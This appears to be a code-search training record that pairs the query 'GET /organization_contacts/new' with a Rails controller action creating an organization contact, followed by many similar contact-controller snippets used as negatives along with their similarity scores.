[ "0.7763893", "0.7644524", "0.7604293", "0.7509274", "0.7251787", "0.7153496", "0.71098584", "0.70868635", "0.7039071", "0.7007501", "0.70010036", "0.69918364", "0.6944387", "0.6922083", "0.6917199", "0.68698406", "0.6869466", "0.68459666", "0.6820051", "0.6804663", "0.6788378", "0.6764496", "0.6742555", "0.67410445", "0.67397916", "0.67375505", "0.6735634", "0.6730881", "0.6689682", "0.6681385", "0.66778374", "0.6673502", "0.6673231", "0.6650912", "0.6650734", "0.6647206", "0.663998", "0.66324836", "0.66219825", "0.66174614", "0.6616264", "0.6585388", "0.6584882", "0.6574218", "0.6570633", "0.656846", "0.6548166", "0.6547163", "0.65260595", "0.6520372", "0.65173167", "0.6494732", "0.6494348", "0.64891195", "0.6488092", "0.6484785", "0.64842296", "0.64798796", "0.647838", "0.64764833", "0.6460145", "0.6457864", "0.6443245", "0.64291584", "0.6424431", "0.6421494", "0.64144343", "0.6396304", "0.6386392", "0.63862616", "0.6383001", "0.63767886", "0.6374116", "0.63709027", "0.6366564", "0.6366377", "0.6358654", "0.6353882", "0.6349787", "0.63440317", "0.63440317", "0.63440317", "0.63440317", "0.63440317", "0.63440317", "0.63440317", "0.63440317", "0.63440317", "0.63440317", "0.63440317", "0.63440317", "0.6343311", "0.63328904", "0.6332244", "0.63160765", "0.6314017", "0.63125104", "0.63110495", "0.6308927", "0.6304341" ]
0.6572278
44
GET /organization_contacts/1 GET /organization_contacts/1.json
def show if (current_user.role == "customer" || current_user.role == "supervisor") add_breadcrumb 'Organizations', 'organizations_path' add_breadcrumb "#{Organization.where(:id => params[:org_id])[0].company_name}", '#' add_breadcrumb "Contacts", 'organization_contacts_path(:org_id => "#{params[:org_id]}")' add_breadcrumb "View Contacts", 'organization_contacts_path' @organization_contact = OrganizationContact.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @organization_contact } end else redirect_to error_users_path and return end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def contacts\n respond_with_entity(api.get('/api/v1/profile/contacts'),\n NexaasID::Entities::Profile::Contacts)\n end", "def get_contacts(params={})\n @obj.get('get-contacts', @auth.merge(params))\n end", "def get_contacts(options = {})\n send_request(\"get\", contacts_url, body: options.to_json)\n end", "def query_contacts(options={}) path = \"/api/v2/contacts\"\n get(path, options, AvaTax::VERSION) end", "def index\n @contacts = @client.contacts\n end", "def index\n json_response(@contacts, user_id: @user.id, status: :ok)\n end", "def contacts(options = {})\n params = { :limit => 200 }.update(options)\n response = get(PATH['contacts_full'], params)\n parse_contacts response_body(response)\n end", "def lookup\n respond_to do |format|\n format.json { render json: Crm::ContactLookup.new(view_context) }\n end\n end", "def index\n @contacts = current_company.contacts\n respond_to do |format|\n format.xml { render :xml => @contacts }\n format.json { render :json => @contacts }\n end\n end", "def index\n session[:letter] = nil\n\n if !session[:organization]\n init_oco\n end\n if session[:organization] != '0'\n @corp_contacts = Company.where(organization_id: session[:organization]).includes(:offices, :corp_contacts).order(:name)\n else\n @corp_contacts = Company.includes(:offices, :corp_contacts).order(:name)\n end\n #@corp_contacts = Company.order('name').all(:include => [:offices, :corp_contacts])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @corp_contacts }\n end\n end", "def contacts\n contact_client.contacts\n end", "def get_contacts(options = {})\n request_params = {}\n request_params[:type] = options[:type] if options[:type]\n request_params[:sortBy] = options[:sort] if options[:sort] \n request_params[:direction] = options[:direction] if options[:direction] \n \n response_xml = http_get(\"#{@xero_url}/contacts\", request_params)\n \n parse_response(response_xml, :request_params => request_params)\n end", "def find_by_organization(organization_id, args={})\n path = get_path(organization_id)\n contacts = handle_response(@client.get(path, args))\n\n # return an empty array if didn't get any contacts\n return [] unless contacts\n\n # Wrap each item with Contact\n contacts.each_with_object([]) do |(id, contact), arr|\n arr << set_contact_data(contact, id)\n end\n end", "def show\n @breadcrumb = 'read'\n @corp_contact = CorpContact.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @corp_contact }\n end\n end", "def index\n @contacts = Contact.all\n render json: {status: 200, contacts: @contacts}\n end", "def index\n @contacts = Contact.all\n render json: @contacts\n end", "def contacts!(params = {})\n @contacts ||= get_contacts({\"group\" => self.id}.merge(params))\n end", "def index\n @contactable = find_contactable\n @contactos = @contactable.contactos\n\n respond_to do |format|\n format.html # index.html.erb\n #format.json { render json: @contactos }\n end\n end", "def show\n render json: Group.find(params[:id]).contacts\n end", "def contact(contact, options = {})\n get(\"contacts/#{contact}\", options).pop\n end", "def get_contacts(user_or_identifier)\n identifier = identifier_param(user_or_identifier)\n json = parse_response(get(\"/api/#{API_VERSION}/get_contacts\",\n :apiKey => @api_key,\n :identifier => identifier))\n ContactList.new(json)\n end", "def contacts(options = {})\n params = { :limit => 200 }.update(options)\n response = get(params)\n parse_contacts response_body(response)\n end", "def index\n @library_contacts = @library_location.library_contacts.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @library_contacts }\n end\n end", "def my_contacts(opts = {})\n client.get_my_contacts(opts)\n end", "def index\n @contacts = current_user.get_address_book_contacts\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @contacts }\n end\n end", "def list params={}\n params[:fields] = params[:fields].join(',') if params[:fields]\n params[:record_type] ||= 'person'\n @nimble.get \"contacts\", params\n end", "def get_contacts(options = {})\n request_params = {}\n\n if !options[:updated_after].nil?\n warn '[warning] :updated_after is depracated in XeroGateway#get_contacts. Use :modified_since'\n options[:modified_since] = options.delete(:updated_after)\n end\n\n request_params[:ContactID] = options[:contact_id] if options[:contact_id]\n request_params[:ContactNumber] = options[:contact_number] if options[:contact_number]\n request_params[:order] = options[:order] if options[:order]\n request_params[:ModifiedAfter] = options[:modified_since] if options[:modified_since]\n request_params[:where] = options[:where] if options[:where]\n request_params[:page] = options[:page] if options[:page]\n\n response_xml = http_get(@client, \"#{@xero_url}/Contacts\", request_params)\n\n parse_response(response_xml, {:request_params => request_params}, {:request_signature => 'GET/contacts'})\n end", "def get_contact\r\n @contact = @customer.contact_people.find_by_name params[:id]\r\n end", "def index\n if (current_user.role == \"customer\" || current_user.role == \"supervisor\")\n if params[:org_id].present?\n add_breadcrumb 'Organizations', 'organizations_path'\n add_breadcrumb \"#{Organization.where(:id => params[:org_id])[0].company_name}\", '#' \n add_breadcrumb \"Contacts\", 'organization_contacts_path(:org_id => \"#{params[:org_id]}\")'\n @organization_contacts = OrganizationContact.where(:delflag => false, :organization_id => \"#{params[:org_id]}\").paginate(:page => params[:page], :per_page => 5)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @organization_contacts }\n end\n else\n @organization_contacts = OrganizationContact.paginate(:page => params[:page], :per_page => 5)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @organization_contacts }\n end\n end \n else\n redirect_to error_users_path and return\n end\n end", "def show\n @crm_contact_info = CrmContactInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @crm_contact_info }\n end\n end", "def get_google_contacts\n url = \"https://www.google.com/m8/feeds/contacts/default/full?access_token=#{token}&alt=json&max-results=100\"\n response = open(url)\n json = JSON.parse(response.read)\n my_contacts = json['feed']['entry']\n\n my_contacts.each do |contact|\n name = contact['title']['$t'] || nil\n email = contact['gd$email'] ? contact['gd$email'][0]['address'] : nil\n tel = contact['gd$phoneNumber'] ? contact[\"gd$phoneNumber\"][0][\"$t\"] : nil\n if contact['link'][1]['type'] == \"image/*\"\n picture = \"#{contact['link'][1]['href']}?access_token=#{token}\"\n else\n picture = nil\n end\n contacts.first_or_create({name: name, email: email, tel: tel})\n end\n end", "def index\n @contacts = current_user.contacts\n end", "def list_contact(project_name, optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'GET'\n\t\targs[:path]['ProjectName'] = project_name\n\t\targs[:pattern] = '/projects/[ProjectName]/contacts'\n\t\targs[:query]['Action'] = 'ListContact'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :contact_name\n\t\t\targs[:query]['ContactName'] = optional[:contact_name]\n\t\tend\n\t\tif optional.key? :page\n\t\t\targs[:query]['Page'] = optional[:page]\n\t\tend\n\t\tif optional.key? :page_size\n\t\t\targs[:query]['PageSize'] = optional[:page_size]\n\t\tend\n\t\tself.run(args)\n\tend", "def contacts(params = {})\n # contacts in this group\n @contacts ||= get_contacts({\"group\" => self.id}.merge(params))\n end", "def contacts\n\t\t@contact = Contact.first();\n\tend", "def get_contacts\n @notification_server.get_contacts\n end", "def contacts\n Easybill::Api::Contacts\n end", "def show\n @library_contact = @library_location.library_contacts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @library_contact }\n end\n end", "def get_contacts\n\n #@company = Benefits.find.params[:company_id]\n #@contacts = @company.contacts\n\n Rails.logger.warn \"#{:areabenefit_id} jajaxxx\"\n @contacts = Benefit.where(areabenefit_id: params[:areabenefit_id], asistencia: '1')\n end", "def list_contacts_by_company(companyId, options={}) path = \"/api/v2/companies/#{companyId}/contacts\"\n get(path, options, AvaTax::VERSION) end", "def getContacts\n @contact_list.each_with_index do |c, i|\n #puts \"#{i +1}) #{c}\"\n puts \"#{i +1}) #{c[:first_name]} #{c[:last_name]} #{c[:email]}\"\n end\n end", "def index\n @contacts = current_user.contacts.paginate(:page => params[:page], :per_page => 30)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contacts }\n end\n end", "def get_contact(companyId, id) path = \"/api/v2/companies/#{companyId}/contacts/#{id}\"\n get(path, {}, AvaTax::VERSION) end", "def index\n @contact = current_user.contacts.find(params[:contact_id])\n @requests = @contact.requests\n\n respond_with @requests\n end", "def show\n @customer = Customer.find(params[:customer_id])\n @cust_contact = @customer.cust_contacts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @cust_contact }\n end\n end", "def contacts(params = {})\n # contacts in this group\n @contacts = nil\n contacts!\n end", "def get_agent_contacts(params)\n message = {\n serviceGroupID: params[:service_group_id],\n serviceID: params[:service_id],\n teamID: params[:team_name],\n agentID: params[:agent_id],\n startDate: params[:start_date],\n endDate: params[:end_date],\n contactTypes: params[:contact_type],\n useServiceTime: false\n }\n\n reply = @client.call(:get_contacts, message: message)\n data = reply.body.dig(:get_contacts_response,\n :get_contacts_result,\n :array_of_string)\n\n data = check_if_data_exists(data)\n data = map_contacts_data(data)\n delete_contact_headers(data)\n data\n end", "def index\n @subcontractor_contacts = SubcontractorContact.all\n end", "def contacts\r\n\r\n end", "def index\n @contacts = CompanyContact.scoped\n\n if params.keys.include? \"company_id\"\n @contacts = @contacts.where(:company_id => params[:company_id]).order('position ASC')\n end\n\n if params.keys.include? \"limit\"\n @contacts = @contacts.limit(params[:limit])\n end\n\n respond_with @contacts\n end", "def index\n @contacts = @current_affiliate_group.contacts.all_open.paginate :page => params[:page], :order => 'created_at desc', :include => [:contact_issue, :issue_status]\n logger.info @contacts.inspect\n respond_to do |format|\n format.html # index.html.erb\n format.js\n format.xml { render :xml => @contacts }\n end\n end", "def index\n @contacts = Contact\n\n if params[:project_id]\n # https://stackoverflow.com/q/680141/6594668\n @contacts = Contact.where(contactable_type: 'Project')\n .joins('INNER JOIN projects ON contacts.contactable_id = projects.id')\n .where(projects: { identifier: params[:project_id] }).all\n end\n\n @contacts = @contacts.where(id: params[:id]) if params[:id]\n\n @contacts = @contacts.all\n end", "def parse_contacts\n case params[:importer]\n when GMAIL, YAHOO, HOTMAIL\n request.env['omnicontacts.contacts'].map { |c| [c[:email], c[:email]] }.to_json\n when LINKEDIN then fetch_linkedin_contacts\n end\n end", "def contacts()\n return MicrosoftGraph::Contacts::ContactsRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def contacts(id, limit:, offset: 0, account: nil)\n path = \"filter/#{id}/contacts\"\n get account, path, limit: limit, offset: offset\n end", "def index\n @contacts = Contact.all\n\n [:first_name, :last_name, :email].each do |param|\n if params[param].present?\n regexp = /\\A#{Regexp.escape(params[param].strip)}\\Z/i # ignore case\n @contacts = @contacts.where(param => regexp)\n end\n end\n\n if params[:phone].present?\n standard_phone = Contact.standardize_phone_format(params[:phone]) # standardize phone number\n @contacts = @contacts.where(phone: standard_phone)\n end\n\n if @contacts.blank?\n payload = {\n success: { full_messages: ['no record found'] }\n }\n render json: payload, status: :ok\n else\n render json: @contacts if stale? last_modified: @contacts.max(:updated_at)\n end\n end", "def show\n render json: @contact.address\n end", "def show\n @contact = Contact.find(params[:id])\n\n render json: @contact\n end", "def index\n\t\t@contacts = current_user.contacts.get_active_contacts\n\tend", "def index\n # only show contacts for current login user\n @user = User.find_by_id(current_user.id)\n if (!@user.nil?)\n @contacts = @user.contacts\n end\n end", "def contacts\n contacts = params[:contacts].map{|c| c[1]}\n if contacts\n logger.debug \">>> received #{contacts.length} contacts\"\n end\n render :text => \"ok\"\n end", "def show_contact(id)\n get(\"contacts/#{id}\")\n end", "def index\n @contacts = current_user.contacts.all\n\n\n end", "def get_user_contacts username_for, options = {}\n do_request 'get_user_contacts', options.merge(username_for: username_for)\n end", "def contacts\n @contacts ||= Harvest::API::Contacts.new(credentials)\n end", "def index\n respond_with Contact.all\n end", "def contacts\n contacts_raw.present? ? JSON.parse(contacts_raw) : {}\n end", "def index\n @employee_contacts = EmployeeContact.all\n end", "def index\n contacteds = @business.contacteds\n \n render json: contacteds\n end", "def show\n @contact = contacts.find(params[:id])\n end", "def index\n @user_contacts = UserContact.all\n render :json => user_contact_data(@user_contacts)\n end", "def contact\n response[\"contact\"]\n end", "def index\n # @contacts = Contact.all\n end", "def get_all_contacts_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ContactsAndContactListsApi.get_all_contacts ...'\n end\n # resource path\n local_var_path = '/v3/contacts'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n return_type = opts[:return_type] \n\n auth_names = opts[:auth_names] || []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type)\n\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ContactsAndContactListsApi#get_all_contacts\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def list\n contacts_index(Contact.all)\n end", "def index\n @referral_contacts = @user.referralContact.page(params[:page]).per(params[:per])\n\n render json: @referral_contacts\n end", "def index\n organizations = if params[:q]\n CclaSignature.search(params[:q])\n else\n Organization.includes(:ccla_signatures)\n end\n\n respond_to do |format|\n format.json do\n render json: organizations.to_json(only: [:id], methods: [:company])\n end\n end\n end", "def index\n\t\t@page_title = \"My Contacts\"\n\t\t@contacts = current_agendify_user.contacts\n\tend", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def contacts\n @contacts = Employee.by_company_id(params[:company_id]).by_search(params[:search]).by_contacts(current_user).paginate :page => params[:page]\n @active_employers = current_user.employers.active_employers.all\n end", "def index\n params_hash = contact_params unless params[:contact].nil?\n\n pars = get_filter_params params_hash\n\n params[:page] ||= 1\n params[:limit] ||= Contact::DEFAULT_PER_PAGE\n params[:limit] = Contact::RESULTS_PER_PAGE.max unless params[:limit].to_i <= Contact::RESULTS_PER_PAGE.max\n\n contact_ids = Rails.cache.fetch(\"#{contacts_url}?q=#{Digest::SHA1.hexdigest(pars.inspect)}\",\n :tag => [\"contacts-filter-#{current_user.id}\"]) do\n\n Contact.where('$and' => pars).pluck(:_id)\n end\n\n @contacts = Contact.includes(:contact_groups).where(:_id => { '$in' => contact_ids })\n .asc('contact_profile.last_name').asc('contact_profile.first_name')\n .page(params[:page]).per(params[:limit])\n\n if @contacts.size < (params[:page].to_i*params[:limit].to_i - params[:limit].to_i)\n params[:page] = @contacts.num_pages\n redirect_to host: contacts_url, params: params and return\n end\n\n @metadata = current_user.metadata\n @groups = ContactGroup.where(uid: current_user.id).asc('label')\n @filters_form_action = '/contacts'\n\n respond_to do |format|\n format.html { render :index }\n format.json { render json: { metadata: @metadata, contacts: @contacts, groups: @groups } }\n end\n end", "def index\n contacts = Contact.order('created_at DESC')\n\n respond_to do |format|\n format.html \n format.json { render json: contacts.as_json }\n end\n end", "def get_list(options={})\n rsp = @flickr.send_request('flickr.contacts.getList', options)\n collect_contacts(rsp)\n end", "def index\n @contacts = current_user\n .contacts\n .where(active: true)\n .order(id: :desc)\n render json: @contacts\n end", "def index\n @contacts = Contact.all\n\n end", "def get_contact(contact_name, project_name, optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'GET'\n\t\targs[:path]['ContactName'] = contact_name\n\t\targs[:path]['ProjectName'] = project_name\n\t\targs[:pattern] = '/projects/[ProjectName]/contacts/[ContactName]'\n\t\targs[:query]['Action'] = 'GetContact'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tself.run(args)\n\tend", "def index\n params[:page] ||= 1 \n @contacts = Contact.all\n filtering_params(params).each do |key, value|\n @contacts = @contacts.public_send(key, value) if value.present?\n end\n # Order by\n #order=name:asc / order=name:desc / order=name (defaults to ascending)\n @contacts = @contacts.order(params[:order].gsub(':', ' ')) if params[:order]\n\n # if params[:relationship]\n # render json: Contact.relationship(params[:relationship])\n # else\n # render json: Contact.all\n # end\n\n # if (params[:offset] && params[:limit])\n # @contacts = @contacts.page(1).per(params[:limit]).padding(params[:offset])\n # else\n # @contacts = @contacts.page(1).per(25)\n # end\n\n # @contacts = @contacts.relationship(params[:relationship]) if params[:relationship]\n\n render json: @contacts\n\n\n end", "def show\n render json: @contact\n end", "def show\n render json: @contact\n end" ]
[ "0.7529245", "0.7439879", "0.72882694", "0.72380465", "0.7131807", "0.7126097", "0.69347924", "0.6927793", "0.692478", "0.68884736", "0.68065065", "0.6806458", "0.6782019", "0.6763499", "0.6752455", "0.6741612", "0.674092", "0.67201394", "0.6719931", "0.6692103", "0.6689469", "0.66892385", "0.6687781", "0.6667823", "0.6667679", "0.66658795", "0.664469", "0.661623", "0.65981305", "0.65931225", "0.6574352", "0.65729564", "0.65682703", "0.65636486", "0.65446514", "0.6541645", "0.65414995", "0.65346235", "0.65306294", "0.652795", "0.65190625", "0.65123725", "0.6510931", "0.6507421", "0.64949363", "0.6490022", "0.648583", "0.6485356", "0.64670044", "0.6459615", "0.6458919", "0.6442468", "0.64397234", "0.64342195", "0.643227", "0.64303786", "0.6429892", "0.6429255", "0.64282954", "0.6425128", "0.6424648", "0.6417162", "0.6414188", "0.6410309", "0.6409326", "0.6403497", "0.6400038", "0.6399078", "0.63936067", "0.6389021", "0.638719", "0.63840014", "0.6374958", "0.63733953", "0.6358558", "0.6345341", "0.63353217", "0.6333746", "0.6330886", "0.6330886", "0.6330886", "0.6330886", "0.6330886", "0.6330886", "0.6330886", "0.6330886", "0.6330886", "0.6330886", "0.6330886", "0.6330886", "0.63284296", "0.6311172", "0.6309238", "0.63075286", "0.6306895", "0.62943757", "0.6292787", "0.6287914", "0.6281169", "0.6281169" ]
0.6350963
75
GET /organization_contacts/new GET /organization_contacts/new.json
def new if (current_user.role == "customer" || current_user.role == "supervisor") if params[:org_id].present? add_breadcrumb 'Organizations', 'organizations_path' add_breadcrumb "#{Organization.where(:id => params[:org_id])[0].company_name}", '#' add_breadcrumb "Contacts", 'organization_contacts_path(:org_id => "#{params[:org_id]}")' add_breadcrumb 'New Organization Contact', 'new_organization_contact_path' @organization_contact = OrganizationContact.new respond_to do |format| format.html # new.html.erb format.json { render json: @organization_contact } end else @organization_contact = OrganizationContact.new respond_to do |format| format.html # new.html.erb format.json { render json: @organization_contact } end end else redirect_to error_users_path and return end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n\t\t\t\t# we are going to make a new contact yall\n\t\t\t\t# comes in like post\n\t\t\t\t# {'api_token': ..., 'contact': {}}\n\t\t\t\tcontact_params = params[:contact] # be sure to clean all the values\n\t\t\t\t# clean them up\n\t\t\t\tcontact_params = sanitize_obj(contact_params);\n\t\t\t\t# lets allow rails to build this for us automagically\n\t\t\t\tc = Contact.new\n\t\t\t\tc.from_json(contact_params.to_json) # generate from our cleaned params\n\t\t\t\t# should be it for that, as long as the keys match, rails should set it\n\t\t\t\t\n\t\t\t\t# now we can save the contact\n\t\t\t\tc.save\n\t\t\t\t@user.accounts.first.contacts << c\n\t\t\t\t@user.accounts.first.save\n\t\t\t\t\n\t\t\t\t# now let's this new contact to the client\n\t\t\t\trender json: {:status => \"success\", :contact => c}\n\t\t\tend", "def new\n @contact = current_user.contacts.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contact }\n end\n end", "def new\n @contact = contacts.new\n end", "def new\n @crm_contact = CrmContact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @crm_contact }\n end\n end", "def new\n @contact = Contact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contact }\n end\n end", "def new\n @customer = Customer.find(params[:customer_id])\n @cust_contact = @customer.cust_contacts.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @cust_contact }\n end\n end", "def new\n @contact = Contact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contact }\n end\n end", "def new\n @contact = Contact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contact }\n end\n end", "def new\n @contact = Contact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contact }\n end\n end", "def new\n @crm_contact_info = CrmContactInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @crm_contact_info }\n end\n end", "def new\n @library_contact = @library_location.library_contacts.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @library_contact }\n end\n end", "def new\n @contact_request = ContactRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contact_request }\n end\n end", "def new\n @projectcontact = Projectcontact.new\n \n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @projectcontact }\n end\n end", "def create\n if !params.has_key?(:ur_contact) then\n head :internal_server_error\n end\n\n params[:ur_contact].delete(:id)\n newContact = current_user.ur_contacts.new(contact_params)\n\n if newContact.save then\n render json: newContact\n else\n Rails.logger.info \"Error when creating contacts #{newContact.errors.messages}\"\n head :internal_server_error\n return\n end\n end", "def new\r\n\t\t@contact = current_user.contacts.new\r\n\tend", "def new\n @organization = Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organization }\n end\n end", "def new\n @organization = Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organization }\n end\n end", "def new\n @contactinfo = Contactinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contactinfo }\n end\n end", "def create\n @contact = @current_user.contacts.new(contact_params)\n if @contact.save\n render json: {status: 201, contact: @contact}\n else\n render json: {status: 400}\n end\n end", "def create\n @contact = Contact.create!(contact_params)\n render json: Contact.all\n end", "def new\n @contactaction = Contactaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @contactaction }\n end\n end", "def new\n @breadcrumb = 'create'\n @corp_contact = CorpContact.new\n $attachment = Attachment.new\n destroy_attachment\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @corp_contact }\n end\n end", "def new\n @site_contact = SiteContact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site_contact }\n end\n end", "def new\n @assessment = Assessment.new\n authorize! :create, @assessment\n\n @assessment.contacts.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assessment }\n end\n end", "def new_contact\n @contact=Contact.new()\n end", "def new\n @contacts = Contact.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contacts }\n end\n end", "def new\n @contact = Contact.new(:state_id => 5, :country_id => 226)\n @contact.numbers.build\n @contact.occasions.build\n @contact.presences.build\n @contact.build_support_state\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contact }\n end\n end", "def new\n @contact_action = ContactAction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contact_action }\n end\n end", "def new\n @contact = Contact.new\n end", "def new\n @contact = Contact.new\n end", "def new\n @organization_account = OrganizationAccount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organization_account }\n end\n end", "def new\n @owner = Owner.new\n @owner.build_owner_address\n @owner.owner_contacts.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @owner }\n end\n end", "def create\n @contact = @business.contacts.new(contact_params)\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to business_contact_path(@business, @contact), notice: 'Contact was successfully created.' }\n format.json { render json: @contact, status: :created, location: business_contact_path(@business,@contact) }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @contact = current_user.contacts.new\n\n end", "def new\n @contact = Contact.new\n if params[:registration].present?\n @registration = true\n @reason = params[:reason]\n else\n @tag, @seo = Seo.contact(params[:tag_id], I18n.locale.to_s)\n end\n @contact.agreements << Agreement.where(:display => true).locale(I18n.locale.to_s)\n \n respond_to do |format|\n if @registration\n format.html { render 'registration' }\n format.json { render :json => @contact }\n else\n format.html # new.html.erb\n format.json { render :json => @contact }\n end\n end\n end", "def create\n @contact = Contact.new(contact_params)\n\n if @contact.save\n render json: @contact, status: :created, location: @contact\n else\n render json: @contact.errors, status: :unprocessable_entity\n end\n end", "def new\n @contact_number = ContactNumber.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contact_number }\n end\n end", "def new\n @contact_partner = ContactPartner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contact_partner }\n end\n end", "def new\n @contact = Contact.new\n @contact.user = current_user\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contact }\n \n \n end\n end", "def new\r\n @org = Org.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @org }\r\n end\r\n end", "def new\n @external_organization = ExternalOrganization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @external_organization }\n end\n end", "def new\n @organization = Organization.new\n @organization.name = params[:name]\n @organization.url = params[:url]\n @organization.homepage_url = params[:homepage_url]\n @organization.address = params[:address]\n\n authorize! :new, @organization\n\n @title = new_action_title\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organization }\n end\n end", "def new\n\t\t@contact = Contact.new\n\t\t@contact.contact_phone_numbers.build\n\t\t@contact.contact_addresses.build\n\tend", "def new\r\n @contact_rule = ContactRule.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @contact_rule }\r\n end\r\n end", "def new\n @contact = CompanyContact.new\n respond_with @contact\n end", "def create\n @crm_contact = CrmContact.new(params[:crm_contact])\n\n respond_to do |format|\n if @crm_contact.save\n format.html { redirect_to @crm_contact, notice: 'Crm contact was successfully created.' }\n format.json { render json: @crm_contact, status: :created, location: @crm_contact }\n else\n format.html { render action: \"new\" }\n format.json { render json: @crm_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @person_contact = PersonContact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person_contact }\n end\n end", "def create\n @contact = @resource.contacts.build(params[:contact])\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to(@resource, :notice => 'Contact was successfully created.') }\n else\n format.html { render :action => \"new\" }\n end\n end\n end", "def create\n @contact = Contact.new(contact_params)\n\n if @contact.save\n fresh_when(@contact)\n render json: @contact, status: :created, location: @contact\n else\n render json: { errors: @contact.errors.messages }, status: :unprocessable_entity\n end\n end", "def new\n #@contact = Contact.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contact }\n format.js\n end\n end", "def create\n @organization_contact = OrganizationContact.new(params[:organization_contact])\n if params[:id][:org_id].empty?\n @organization_contact.organization_id = params[:organization_contact][:organization_id]\n else\n @organization_contact.organization_id = params[:id][:org_id]\n end \n\n respond_to do |format|\n if @organization_contact.save && params[:id][:org_id].present?\n format.html { redirect_to organization_contacts_path(:org_id => params[:id][:org_id]), notice: 'Organization contact was successfully created.' }\n format.json { render json: @organization_contact, status: :created, location: @customer_contact }\n elsif @organization_contact.save\n format.html { redirect_to organizations_path, notice: 'Organization contact was successfully created.' }\n format.json { render json: @organization_contact, status: :created, location: @customer_contact }\n else\n format.html { render action: \"new\" }\n format.json { render json: @organization_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @global_contact = GlobalContact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @global_contact }\n end\n end", "def new\n @ad_contact = AdContact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ad_contact }\n end\n end", "def create\n @contact = @user.contacts.build(contact_params)\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to root_path, notice: 'Contact was successfully created.' }\n format.json { render :show, status: :created, location: @contact }\n else\n format.html { render :new }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n 